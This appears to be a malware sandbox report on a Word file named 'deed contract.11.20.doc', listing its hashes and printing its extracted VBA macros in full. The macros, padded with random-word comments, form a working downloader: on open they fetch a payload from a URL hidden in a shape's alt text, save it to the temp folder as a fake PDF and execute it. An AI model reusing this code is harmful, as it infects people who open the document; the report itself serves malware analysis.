Static task
static1
Behavioral task
behavioral1
Sample
deed contract.11.20.doc
Resource
win7v20201028
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
deed contract.11.20.doc
Resource
win10v20201028
0 signatures
0 seconds
General
-
Target
deed contract.11.20.doc
-
Size
143KB
-
MD5
98ec9df6254d78b1fc1abdf7090da3f7
-
SHA1
6642cb5d474a9ed788fb5a33cc5b72c6f825c1f3
-
SHA256
37db367c01e40ee2f05a5966d6670e07fd3292c01f4da8ffd77c0e3c96a79464
-
SHA512
dfbc5ff2b935b905ad554b30994dc0446d93e0d8eaeb279ab33c376b35ff1cad6b21931da920c103ab435ac1c2968bcfcc8c3e0db2c3ae2222f5b86ab0460354
Score
N/A
Malware Config
Signatures
Files
-
deed contract.11.20.doc.doc office2007
ThisDocument
1Attribute VB_Name = "ThisDocument"2Attribute VB_Base = "1Normal.ThisDocument"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = True8Attribute VB_Customizable = True9DIWMr
1Attribute VB_Name = "DIWMr"2Sub nJrEQ(jdVIG, Optional ByVal sVNsC As String = "systemobject")3' Stockholding woody4' Ado glitter5' Hydrodynamic snakeskin expression6' Materialistically selfless7' Metronome8' Singalong rim anemia9' Darns10' Mediocrity binomial evening11' Shyest temporal northwards instinct12' Underbody ventilating coverts13' Expertise gibbet mannerliness outplay14' Anyplace15' Welladjusted16' Flatworms geochemistry canal seamed foregrounded17' Expresses gets literally18' Deactivating misconfiguration19' Adopting hormonally20' Sever heeding atropine reductive normalisable tulips healthy21' Sluggishness affair louver hermitage22' Recoverability incompletely marbles23' Unwedded snigger24' Accredit25' Resurface scrolling fonts26' Studious counterrevolution refrain titillated yea27' Deeper salivation insomniac28' Consolidating dung undervalued29' Coupler sucking30' Startup shunt exterminators31' Pleasure pillowcase ferrying negligently hastiness formulaic32' Gabon intensify depressives airing33' Discussed fortunes moonstones34' Cappuccino privatises rapier cancellation35' Turfs menaced pluto bang cicada36' Singe formation herbalism mistreatment37' Kindergarten dragoon excursions cataloguers38' Disorientation kneecap39' Ordinary citizens40' Kneeled vanished slob41' Saloon protect42' Unlawfulness practicable corrugations43' Whimpering ransacked occidental counteracted neoplasm44' Oblong45' Liner sculleries46' Powerhouses competitor47' Rounded friskier48' Operatic sharpening apriori pouting49' Trouts jerked tempt unwatchable untapped50' Numberless abbreviated meanly severally stratifies assayed rootings51' Misinform doges invisible lowlanders partridges52' Rupture53' Bedclothes ethnography54' Fasting flatworms spotted renewals55' Baseness56' Hacienda organically lynx57' Pious textile anthropological earache58' Defrosting59' Asphyxiated corns60' Numeral61' Ores doctoral frostiest62' Scarab racist glaucoma63' Concede highlander countering64' Walnuts tableware gushed hopefuls65' Hi diabolic typographer66' Selfsupporting67' Disembowel classified cloaca migrants68' Axeheads undemanding69' Unconsoled jazzier invigilated headword70' Doubtful departmentally retarding tipsy coincidentally71' Equestrian terrain flintlocks72' Violates sewer barnyard remaps73' Gunship minuets contaminant74' Fairest incurably multilateralism tortuous75' Subeditor rewire divest76' Hunkers elephantine unobtrusively77' Gymnasia saltiness exercisable demount possessively78' Anchorage turnovers raffle futurist superpositions79' Vaporising truanting pastoral convoy80' Applecart snuggle grubby studying81' Ruining roar82' Planner enquires83' Nearer trappings educators84' Peddles85' Cleaner paving86' Average clipping87' Housebuilding oversimplifies vortexes have88' People contrasting89' Echelons90' Leftovers eschatological cavalryman crawling91' Admiringly affixed pageboy barbarians92' Lipsticks meanwhile93' Galactic placating fishermen hoax revenging darn94' Cist importer genteelly laughs95' Lusher screwy tongue headmistresses whereon96' Jellies censoriousness juniors97' Undetected averaged fanlight98' Pancreas inertia tangles retorts99' Socrates interceptors moods100' Seniors wellhead shandy broadleaved101' Underwater viol querying102' Insulter denier103' Society crete ricksha urologist pica104' Ingratiating multilevel entertain brand lifelessness105' Supertankers dissonances106End Sub107' Quelled tendencies inverse108' Cervix havering annotated109' Seducer stubbles hurdler slashing110' Genitalia brainchild abbreviating listless particulars111' Grandsons falsely112' Flimsiest aggravations crinkle113' Taxing bingo attendance remixes114Sub AutoOpen()115' Smirked intensities116' Therapeutic unhooked orientals117' Tossed cran materialised importation118' Gassed skid maoism bragged herbalists119' Catalogue120' Morosely infestations bemoaning121' Watchtower reminiscent vitamin122' Delighted123' Loo voyages punter lobbies jauntier124' Worded125' Nutty126' Rotary eden127' Cytology easing strategist128' Grovelled maximal granite eerie waistline declare129' Ruminating stimulator catering grooming unreferenced130' Hospices vegetating131' Condensers foster contractors132' Strives pike pinkish geocentric133' Lunchtime again recidivists spokeswoman134' Quotidian pejoratively squiggle depleting135' Illequipped136' Oar designs befriend137' Rowdy meetings warship138' Peculiar choreographic straightening acquits magnitude139' But nationalistic adobe140' Reckoned videotape141Dim uGsIX As New vFTjR142' Pipping soonish143' Institutionalise bonnie eked144' Stickers connexion hewed145' Linseed timid malefactor doge unmemorable146' Entomology tatters147' Jackal pouch coils bitters coder barrages148' Curated mangroves149' Creditor cavalryman150' Backdrop insuperable conversations151' Solidifying suggested parboil consumes horrible152jdVIG = uGsIX.ywDlS()153' Misfires numbed wakening drifters powerfulness consumptions tinker routine154' Helmeted bizarre hesitates glib155' Artfulness wittiness bashing156' Barring interviewees colourant157' Cigarettes158' Airstream vaporised proactive159' Provisioning daft flickered eulogise160' Cheeked suffusion process alienates161' Bedcover bombing consolingly petroleum162' Unassisted illustrates163' Janitors napping workpeople164' Leashed lingeringly165' Telephoto nazis166' Cations fitters battlegrounds perfected167' Policewomen integrand168' Molars obscurest undroppable ajar sacks cerebrum169' Managements170' Yummy manorial dear171' Chaotically chrysanthemums172' Eleven wandered subjectivity stairhead avenging173' Faucet transforming174' Sting swallower retails revel175' Spaceship acre obfuscation rapist176' Yearbooks descriptivism flamboyantly protege organically177' Erg178' Physiognomies stills pomegranates batters179' Encourager huntergatherer dampness180tUdWO = 2181oleNr = 0182IrwZo = mgNeU(tUdWO)183haPzx = mgNeU(oleNr)184' Incurs neurosurgery anaesthetic ashcans185' Corpora deriving speciality186' Orthonormal dioptres diameters187' Validates belie plus mustangs cement set yesteryear188' Torches prevues collection189' Whiting190' Triteness inaugurates191' Cheque thyroids hi airplane192' Stricken learners aunties sequestrated tourism193' Activators unpublishable knead194' Cockatrice securer195' Ambassadorial flexed bookers gorgeously nicknamed foamed196' Musters penniless resets197' Coronary fest198' Woodpeckers breached frippery emissary overallocation bewildering orthopaedics199' Paired slopped200' Tinkled satisfiable alerting201' Unloving guns corks202' Serenade swellings mistranslated203' Quids anomalies204' Gatherer clearly aged205' Witty spy unfulfillable206' Syringe207' Downsize insane cowling208' Vamps relighting plausibly balances foregone209' Bioscope210' Dangling economised211' Twitter sturdily spheroidal wavebands purely212' Jubilation affidavits staleness barman gratified sailings wickets213' Packaging discarding nogging214' Cocking groaner sandals beautify215' Squabbling napalm staking216' Endorsements aquifers enforced217' Earthshattering hardiest slovenliness218' Moulding warehouseman219' Stunt roguishly breathable parallaxes220' Superlatives seniority topic transpires maximise incandescent221CRvRp(IrwZo).exec (VoEJO(haPzx) & " " & evWnU & ",ShowDialogA -r")222' Carafe storylines223' Convicts maxi dummy224' Our assassinate loafed225' Diplomats226' Char227' Colon quencher228' Prosperity notion tethers contradicting229' Dusted sticking photosynthesising230' Producing unwinds licentiate231' Afford discriminate kindheartedness232' Headbands swazi scudded voyagers misshapen233' Overcast atrocious234' Centred porphyritic disinherited maoist235' Unenviable enthalpies merited sensuously236' Brooch plates razes vehicular overqualified237' Apparatchiks leapyear238' Initiatives contras disclaiming hilarity nonsensical overcame gatepost239' Electrify breathlessly fryer saddening broadness240' Corroborated241' Exult purls unwisely242' Indispose bondholders thirty debunks cups novice slums rubies243' Leafier interposition fraudulent244' Averaged bitten starving deans245' Crab defter246' Canter adventurers247' Pickerel evaluator248' Slimes victuals hardback teammate percusses spinning249' Colossal auspice socialist hirer goslings potter250' Axillary federalism251' Pizazz dilapidated vigorously252' Disquisition253End Sub254Function cdTlC(gltWU, jBgeO)255' Bursts saccharine256' Hustlers lacuna motorway257' Marigold bring repopulate incompatible258' Shores halfhour unprinted259' Rebut260' Undroppable reading pelt tinkled261' Eastern overdrawn262' Supervisions curving untransportable263' Voluminous waterproofs264' Obeisance equalled purest piths265End Function266RhkFt
1Attribute VB_Name = "RhkFt"2Function yQIum()3' Periphrastic nibbling scratchy4' Ovate privileges5' Expurgating deemed spindly libation6' Absolutists carbonise segregating recluse nightmarish7' Swirled perplexity pyrotechnic8' Lost blamelessly kerosene9' Infinitude underpants layabout hero ties10' Hamper bloodstain sadism11' Dispensaries hebrew pugs12' Structuralism roughed dill spooled13' Geldings bisexuals entertains airways14yQIum = Split(kNttQ, EezsG)15' Terminates spirals gulf scowl isotropy16' Refresher tyrannical requisitions paralinguistic erections17' Interims slavedriver18' Apprehensive speculating memory dualisms piquancy19End Function20Function CRvRp(VAbzB)21' Already midriff perspiration diversification22' Distributed gonads defrosts23' Confidentiality inoperable soften24' Pox formated colonialists petrify25' Compared demote26' Lapdogs doorknob heartland27Set CRvRp = CreateObject(VAbzB)28End Function29Function VoEJO(AGBHa)30' Adulterated asparagus eminent31' Scolded spare32' Helms admissions lettuces moreover spaciously33' Pressed crafty killed permeates34' Sentiment bivouac hurling experimented35' Article36' Emphasising venous37' Oaken confide combating38' Walling roundish dinghy39' Handstands snorted crateful40' Unified tyke aluminum derailed hardships41' Frontages twitched depoliticisation42' Constructivism probity anodyne43' Relaxation overdetermined inclement entrusts capacity44' Hydroxide45' Genuineness prescriptions admiral delible46' Defuse fount47bheOT = 148enPKl = Len(AGBHa)49For vNYxa = 0 To enPKl - bheOT50' Hyena viceroys dousing51' Overthrow preoccupied52' Semaphore ripe karst swedish adorn pentameters53' Chats blockheads54' Depersonalisation architectural archway55' Mango chaos soudan restraining56' Hacked hops resonated57' Buoy sharpeners58' Scours curlews59' Unmercifully hairier nurture wryness pulsate bicycles60' Termite mutant contravened caretakers poetise fluctuates packet61' Coppiced pollinator goth vanadium spittoons62' Mawkishness haggling guitarists63' Nu globose decentralising indexation seedbed64' Delphiniums entitle65' Wheels retaliating immense convulsive66' Interpreters venders67' Diffracting purified burials foreboding68' Plosive69' Ordinations vocabularies70IsHNa = IsHNa & Mid(AGBHa, (enPKl - vNYxa), bheOT)71Next vNYxa72' Coalfield fruitiness staggers colon eves obliteration73' Agents74' Cultivator compassed demographers75' Frothed appliance noise76' Drums pronounceable pottage apses77' Smellable yorker crouching uninfected missive doorknob contour78VoEJO = IsHNa79End Function80' Overreach percolated81' Dipsomania pangs raining82' Typhoon nullifies transmutation associated83' Quantify improprieties decagon scum accumulations84' Unfurled unbalanced boroughs blackened85' Business trickles86Function PeASv(kvbzG)87' Quartermaster wearing enunciating doer bunkum88' Text interviewee corespondent dons outface airlock89' Equip lumbers baggage drawn trapper90' Enfeeble latrine dauntingly mestizo91' Imposter chastised murderously formosa92' Obstructive yesterdays93' Anthrax java94' Hamper95' Extremists vilification snowcapped misfit mobbing viol96' Lasing visitations tossups97' Gradient ranter abnormalities blacked overreaction98' Gab canonised threshed99' Reaping efficient100' Reimbursed negotiator101' Skinniest helix spurges102' Sinks disparate dally electrodynamics103End Function104' Disentangling judiciously proforma amazons tenser105' Debts gentility respectability106' Regiments bugbear107' Overcoming overcrowded108' Graciousness satire rigorous addled109' Carpenter commemorates110Function kNttQ()111' Retread absolute laughingly breads diaries crams112' Substantives plutonium113' Enhancers overuse screwed114' Intercepting marksmen flux brick115' Illbehaved humanoids landowners116With ActiveDocument.Shapes(1#)117' Polyglots grammes118' Feathering eaglet lacework leafing congestive119' Executioner galvanising interleave120' Bristly spearhead outgrowths peculiarly121' Yourself malts vegetational122kNttQ = .alternativetext123End With124End Function125vFTjR
1Attribute VB_Name = "vFTjR"2Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = False6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = False8Attribute VB_Customizable = False9' Existential townships10' Reckless11' Whoop squirrels stargaze reverse12' Stallion incongruities july13' Legislative incline rounder colouration severs14Function ywDlS()15' Oslo physiological mobiles levies myelin mallow16' Heavenwards microwaveable bulky propagates grecian adrenaline17' Courtyard18' Tapdancing warehouses sputter alterego19' Ampler purveyance desensitising dullest upwind thermometers fluctuating20' Thimblefuls21' Femininity watersoluble22' Reaping bungalows gloomful dialling malnourishment spiralling23Dim xxcqN As Object24' Eminently25' Reportedly stipel isotropy effector26' Detectives trumpeters sententiously millennial27' Fluently silkworms incongruity elms lemma28' Prolongs gunboat marketer randomising29' Lorry psyche30' Stubbly31' Seasickness crampons unpick32' Homozygous void tautest lampoonery subspecies33' Skydives34Set xxcqN = CreateObject(mgNeU(3) & "." & mgNeU(3) & "request.5.1")35' Brisk ditto catchphrase36' Pointers meted inspectorate37' Dupes console fixedly38' Crystalline parades tasteless commonalities trigonometrical39' Constantly undertake sympathise alienation40' Cathodes giddier41' Plagiarist coinage beltings42' Spiking reconversion43' Misspells questionings unamused planted clinches44' Diapers unmitigated enzymatic policyholders unfasten depressingly45' Unabsorbed benefice oscillate dux fertile46' Paedophiles libel gnome incontrovertibly47' Rectory48' Attic aupairs pentagram49' Attenuates50' Reproach erases creditworthy worldfamous51' Reverberated bonds emigrate52' Vacuole combines fealty53' Chorea illustrates elitism54' Plastics serum55' Authorised lasers56' Showered57fpGeq = mgNeU(1)58' Dwarves discontinuation solecism59' Uncultivated monies safes corncrake posse60' Formality sizeable schizophrenic61' Downstairs insolence procedurally weakkneed62' Valuta sacked63' Expands calves evaluate showings reunified64xxcqN.Open "GET", VoEJO(fpGeq), False65' Trades propaganda ports overcome statesmen revivify66' Providable tips abductions swingy juxtaposes outvoted67' Four damnify68' Zealousness stiffer litchi meatball69' Tempo bisects harmfulness dud enamel70xxcqN.Send71' Feuded single72' Obliges stuffing congruence73' Wobbling suggester74' Degradable indisposition75' Eyed discredited cue76' Discerning lumpy cohabitees77' Cider speculated key78' Snatching bloating loams79' Niceness immortally irk dooms80' Gig behest glebe innate81Set oStream = CreateObject("ADODB.Stream")82oStream.Open83oStream.Type = 184oStream.Write xxcqN.responsebody85oStream.SaveToFile evWnU, 286oStream.Close87End Function88RSYGT
1Attribute VB_Name = "RSYGT"2Public Const EezsG As String = "-----"3' Grilling embalms4' Hinduism stripy stampers ludicrous5' Fiestas declined augmentation6' Sucking reclassifies tunnelled shrieking sleds tartans7' Misidentification industriousness arbitrageur detractors tinker supersaturation integrates8Function mgNeU(siXon)9' Moroccan10' Attracts lightning rakish shuffling11' Revengeful edging12' Verify defeatist13' Satisfactions protons14' Rodents nosed photoelectrically15' Dream swirl tempers unfelt16' Fans bombarded papa mangle abstain17' Radioactivity18' Masons hilts mitigation cluttering hypertension19' Rescans spice polymorphous rich20' Overreach unreached21cbarS = yQIum()22' Militiaman reasoner23' Adjudicated literatures prissy24' Impermanence garret25' Eyelash osmosis streams exhilarating26' Vibes frowns somersault27' Mistreated28mgNeU = cbarS(siXon)29End Function30Function evWnU()31' Unities massacre elands necessity excessive32' Viler straddle cognacs haiku torpedo33' Recomputing administratively flowerless34' Morale rowdily35' Metamorphic disloyalty36' Antagonises prospering hum puts37evWnU = Environ("temp") & Application.PathSeparator & "FpVjp.pdf"38' Unpredictably aunties exile paraffin39' Secessionist fanatic interleaved40' Islander grimly changing troopship41' Inexperience indulge bitts42' Wolfwhistles amateurish43End Function44Sub jIjpx(qlBwU)45' Dubious46' Pellet47' Extralinguistic sideshow thereupon tenuously48' Shaft stubbing gastric49' Frights highways druids arboreal50' Inquorate florins51' Enforcement cornered succumb conga52' Trickled schoolboy forcefeed53' Victimise insurmountable54' Stoically seismograph55' Implodes potion payphones cavort56' Menacingly tenement outgrowths57' Loped evangelists58' Sandbagged prevails odd chorea incision59' Harvesting squib frontages passives60' Tile pierced frontline61' Referentially maths62' Herbalists lookalike63' Albinism64' Suffocates deadened cropper65' Dreadnought wonderfully fungal immortals inordinately66' Turnstile basement intramuscular educators67' Hoping mainstream neuroses transferred68' Surpasses phoned shoeless gnats schizophrenically blares allergies cravats69' Confession sauntered flamboyance steak70' Spoil surfaces71' Mumps72' Googlies73' Blasters disbandment sneezed74' Fruited hyperbole generous carve polyglots symbolised75' Avionics76' Reorientation dusted77' Sponsorship78' Poseurs grisly viability79' Clouted bridged magnetise80' Unmoving dispossess wealth eerier81' Fouls elate82' Conjugate bleat regimes energised83' Parametrically personality84' Plating overdrive knuckledusters unfastening concubines driving marksman85' Attics locally acupuncturist roughly86' Revocation lengthier subclass87' Traversed88' Toasted astonishes protection mansion pouffe89' Ringleaders chastisement baling garrotted90' Milkmaids hyperventilating intermediaries91' Ashcans92' Revolved copulate unstated93' Unfriendly forestalling archaeopteryx flying94' Tools plight nationalism95' Tolerate propounded nationalities96' Slaughterhouse97' Electrodynamic alpaca transports98' Archduke rusticate equinoctial crisscrosses99' Encapsulation depressing blotches restricts mingles righthanded100' Autocrat cordless atoning101' Dermatological102' Bed descenders provoke trisector103' Sit steadiest housemaid104' Faculty amputee palmist tinge orate misapprehension105' Trample woodcutter tiered voice louvred106' Battalion detente formalised greying supranationalism advances107' Conjoined simplifying dubbing marginalisation factorial108' Rearmed109' Profane begins narcosis swashbuckling110' Lyricists tomography interrogatives solver111' Ghouls chirped golfer recognisable112' Screamers edgy purgatory113' Steeps114' Reshaped foundries radiating snatching115' Stapler vigilance pyromaniacs landmark periscope chromed shagged implicate116' Bindery abaft convinced antiseptics117' Importunate inconstant histology pinpointed118' Registrars119' Lawsuit dour decodes michigan snowball loath goalpost120' Balder compose nosed121' Robbed clever turnings122' Rigidifies ebb perjured massages123' Pertly birdcages tributaries noiselessly necessaries124' Foot hangglider necklaces minions125' Endocrine sanctimonious uninterruptedly126' Purchasable relating posh127' Aluminium deregulated unbeliever subtlety frostier128' Financier plenty scarify129' Relink gainsaying valets corgi skewered130' Rapturous misusing predominated trailer131' Dispersant132' Spore guarantees133' Easier sulphurous insulated dessication caravel134' Dive unpractical isolators135' Envision136End Sub137